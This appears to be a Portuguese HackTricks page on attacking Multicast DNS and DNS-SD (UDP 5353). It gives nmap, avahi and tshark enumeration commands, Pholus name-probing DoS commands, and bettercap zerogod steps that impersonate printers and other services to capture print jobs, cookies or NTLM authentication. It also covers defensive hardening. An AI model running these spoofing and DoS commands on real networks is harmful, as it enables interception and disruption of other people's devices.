5353/UDP Multicast DNS (mDNS) e DNS-SD
Reading time: 8 minutes
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Informações Básicas
Multicast DNS (mDNS) permite a resolução de nomes e descoberta de serviços semelhante ao DNS dentro de um link local sem um servidor DNS unicast. Ele usa UDP/5353 e os endereços multicast 224.0.0.251 (IPv4) e FF02::FB (IPv6). A Descoberta de Serviços DNS (DNS-SD, tipicamente usada com mDNS) fornece uma maneira padronizada de enumerar e descrever serviços via registros PTR, SRV e TXT.
PORT STATE SERVICE
5353/udp open zeroconf
Detalhes chave do protocolo que você frequentemente usará durante os ataques:
- Nomes na zona .local são resolvidos via mDNS.
- O bit QU (Query Unicast) pode solicitar respostas unicast mesmo para perguntas multicast.
- Implementações devem ignorar pacotes que não são originados do link local; algumas pilhas ainda os aceitam.
- Probing/anunciando impõe nomes de host/serviço únicos; interferir aqui cria condições de DoS/"name squatting".
Modelo de serviço DNS-SD
Os serviços são identificados como _
Exploração e Enumeração de Rede
- varredura de alvo nmap (mDNS direto em um host):
nmap -sU -p 5353 --script=dns-service-discovery <target>
- descoberta de broadcast nmap (ouvir o segmento e enumerar todos os tipos/instâncias DNS-SD):
sudo nmap --script=broadcast-dns-service-discovery
- avahi-browse (Linux):
# Listar tipos de serviço
avahi-browse -bt _services._dns-sd._udp
# Navegar por todos os serviços e resolver para host/porta
avahi-browse -art
- Apple dns-sd (macOS):
# Navegar por todos os serviços HTTP
dns-sd -B _http._tcp
# Enumerar tipos de serviço
dns-sd -B _services._dns-sd._udp
# Resolver uma instância específica para SRV/TXT
dns-sd -L "My Printer" _ipp._tcp local
- Captura de pacotes com tshark:
# Captura ao vivo
sudo tshark -i <iface> -f "udp port 5353" -Y mdns
# Apenas consultas de lista de serviços DNS-SD
sudo tshark -i <iface> -f "udp port 5353" -Y "dns.qry.name == \"_services._dns-sd._udp.local\""
Dica: Alguns navegadores/WebRTC usam nomes de host mDNS efêmeros para mascarar IPs locais. Se você ver candidatos random-UUID.local na rede, resolva-os com mDNS para pivotar para IPs locais.
Ataques
Interferência de probing de nome mDNS (DoS / name squatting)
Durante a fase de probing, um host verifica a unicidade do nome. Responder com conflitos falsificados força-o a escolher novos nomes ou falhar. Isso pode atrasar ou impedir o registro e a descoberta de serviços.
Exemplo com Pholus:
# Block new devices from taking names by auto-faking responses
sudo python3 pholus3.py <iface> -afre -stimeout 1000
Falsificação de serviço e impersonação (MitM)
Impersonar serviços DNS-SD anunciados (impressoras, AirPlay, HTTP, compartilhamentos de arquivos) para forçar clientes a se conectarem a você. Isso é especialmente útil para:
- Capturar documentos falsificando _ipp._tcp ou _printer._tcp.
- Atrair clientes para serviços HTTP/HTTPS para coletar tokens/cookies ou entregar payloads.
- Combinar com técnicas de retransmissão NTLM quando clientes Windows negociam autenticação com serviços falsificados.
Com o módulo zerogod do bettercap (falsificador/impersonador mDNS/DNS-SD):
# Start mDNS/DNS-SD discovery
sudo bettercap -iface <iface> -eval "zerogod.discovery on"
# Show all services seen from a host
> zerogod.show 192.168.1.42
# Impersonate all services of a target host automatically
> zerogod.impersonate 192.168.1.42
# Save IPP print jobs to disk while impersonating a printer
> set zerogod.ipp.save_path ~/.bettercap/zerogod/documents/
> zerogod.impersonate 192.168.1.42
# Replay previously captured services
> zerogod.save 192.168.1.42 target.yml
> zerogod.advertise target.yml
Também veja a falsificação genérica de LLMNR/NBNS/mDNS/WPAD e fluxos de captura/revezamento de credenciais:
Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
Notas sobre problemas de implementação recentes (útil para DoS/persistência durante os engajamentos)
- Bugs de falha de afirmação de acessibilidade do Avahi e D-Bus (2023) podem encerrar o avahi-daemon em distribuições Linux (por exemplo, CVE-2023-38469..38473, CVE-2023-1981), interrompendo a descoberta de serviços em hosts-alvo até a reinicialização.
- DoS do gateway mDNS do Cisco IOS XE Wireless LAN Controller (2024, CVE-2024-20303) permite que atacantes adjacentes provoquem alta utilização da CPU e desconectem APs. Se você encontrar um gateway mDNS entre VLANs, esteja ciente de sua estabilidade sob mDNS malformado ou de alta taxa.
Considerações defensivas e OPSEC
- Limites de segmento: Não roteie 224.0.0.251/FF02::FB entre zonas de segurança, a menos que um gateway mDNS seja explicitamente necessário. Se você precisar interligar a descoberta, prefira listas de permissão e limites de taxa.
- Endpoints/servidores Windows:
- Para desativar completamente a resolução de nomes via mDNS, defina o valor do registro e reinicie:
HKLM\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters\EnableMDNS = 0 (DWORD)
- Em ambientes gerenciados, desative a regra de firewall do Windows Defender “mDNS (UDP-In)” (pelo menos no perfil de Domínio) para evitar o processamento de mDNS de entrada, preservando a funcionalidade de casa/roaming.
- Em versões mais recentes do Windows 11/temas de GPO, use a política “Configuração do Computador > Modelos Administrativos > Rede > Cliente DNS > Configurar protocolo DNS multicast (mDNS)” e defina como Desativado.
- Linux (Avahi):
- Restringir a publicação quando não necessário: defina
disable-publishing=yes
e restrinja interfaces comallow-interfaces=
/deny-interfaces=
em/etc/avahi/avahi-daemon.conf
. - Considere
check-response-ttl=yes
e eviteenable-reflector=yes
, a menos que estritamente necessário; prefira listas de permissãoreflect-filters=
ao refletir. - macOS: Restringir mDNS de entrada em firewalls de host/rede quando a descoberta Bonjour não for necessária para sub-redes específicas.
- Monitoramento: Alerta sobre aumentos incomuns em consultas
_services._dns-sd._udp.local
ou mudanças súbitas em SRV/TXT de serviços críticos; estes são indicadores de falsificação ou impersonificação de serviços.
Referência rápida de ferramentas
- nmap NSE:
dns-service-discovery
ebroadcast-dns-service-discovery
. - Pholus: varredura ativa, varreduras reversas de mDNS, auxiliares de DoS e falsificação.
# Sniffing passivo (segundos de timeout)
sudo python3 pholus3.py <iface> -stimeout 60
# Enumerar tipos de serviço
sudo python3 pholus3.py <iface> -sscan
# Enviar solicitações genéricas de mDNS
sudo python3 pholus3.py <iface> --request
# Varredura reversa de mDNS de uma sub-rede
sudo python3 pholus3.py <iface> -rdns_scanning 192.168.2.0/24
- bettercap zerogod: descobrir, salvar, anunciar e impersonificar serviços mDNS/DNS-SD (veja exemplos acima).
Falsificação/MitM
O ataque mais interessante que você pode realizar sobre este serviço é realizar um MitM na comunicação entre o cliente e o servidor real. Você pode ser capaz de obter arquivos sensíveis (MitM a comunicação com a impressora) ou até mesmo credenciais (autenticação do Windows).
Para mais informações, consulte:
Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
Referências
- Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things
- Nmap NSE: broadcast-dns-service-discovery
- bettercap zerogod (mDNS/DNS-SD discovery, spoofing, impersonation)
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.